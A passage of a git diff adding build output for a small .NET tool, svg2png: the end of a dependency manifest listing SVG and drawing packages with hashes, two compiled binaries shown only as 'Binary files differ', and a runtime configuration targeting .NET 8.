"fileVersion": "5.0.1221.52207" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netcoreapp3.0/System.Drawing.Common.dll": { + "rid": "unix", + "assetType": "runtime", + "assemblyVersion": "5.0.0.2", + "fileVersion": "5.0.1221.52207" + }, + "runtimes/win/lib/netcoreapp3.0/System.Drawing.Common.dll": { + "rid": "win", + "assetType": "runtime", + "assemblyVersion": "5.0.0.2", + "fileVersion": "5.0.1221.52207" + } + } + } + } + }, + "libraries": { + "svg2png/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "ExCSS/4.2.3": { + "type": "package", + "serviceable": true, + "sha512": "sha512-SyeAfu2wL5247sipJoPUzQfjiwQtfSd8hN4IbgoyVcDx4PP6Dud4znwPRibWQzLtTlUxYYcbf5f4p+EfFC7KtQ==", + "path": "excss/4.2.3", + "hashPath": "excss.4.2.3.nupkg.sha512" + }, + "Microsoft.Win32.SystemEvents/5.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-Bh6blKG8VAKvXiLe2L+sEsn62nc1Ij34MrNxepD2OCrS5cpCwQa9MeLyhVQPQ/R4Wlzwuy6wMK8hLb11QPDRsQ==", + "path": "microsoft.win32.systemevents/5.0.0", + "hashPath": "microsoft.win32.systemevents.5.0.0.nupkg.sha512" + }, + "Svg/3.4.7": { + "type": "package", + "serviceable": true, + "sha512": "sha512-Omez7ly5BGhg3OzdV+LHZ5sI0+JQ6hF7WVKUeyHw4jRvcEWNCPCf1MWMBaf+R0DRBSZHx5EUHwBTEF+2oYtsAw==", + "path": "svg/3.4.7", + "hashPath": "svg.3.4.7.nupkg.sha512" + }, + "System.Drawing.Common/5.0.3": { + "type": "package", + "serviceable": true, + "sha512": "sha512-rEQZuslijqdsO0pkJn7LtGBaMc//YVA8de0meGihkg9oLPaN+w+/Pb5d71lgp0YjPoKgBKNMvdq0IPnoW4PEng==", + "path": "system.drawing.common/5.0.3", + "hashPath": "system.drawing.common.5.0.3.nupkg.sha512" + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/svg2png_tool/out/svg2png.dll b/Quasar-1.4.1/svg2png_tool/out/svg2png.dll new file mode 100755 index 0000000..b86d9c5 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/svg2png.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/svg2png.exe b/Quasar-1.4.1/svg2png_tool/out/svg2png.exe new file mode 100755 index 0000000..7cbbfd6 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/svg2png.exe differ diff --git a/Quasar-1.4.1/svg2png_tool/out/svg2png.runtimeconfig.json b/Quasar-1.4.1/svg2png_tool/out/svg2png.runtimeconfig.json new file mode 100755 index 0000000..d784515 --- /dev/null +++ b/Quasar-1.4.1/svg2png_tool/out/svg2png.runtimeconfig.json @@ -0,0 +1,13 @@ +{ + "runtimeOptions": { + "tfm": "net8.0", + "framework": { + "name": "Microsoft.NETCore.App", + "version": "8.0.0" + }, + "configProperties": { + "System.Reflection.Metadata.MetadataUpdater.IsSupported": false, + "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false + } + } +} \ No newline at end of file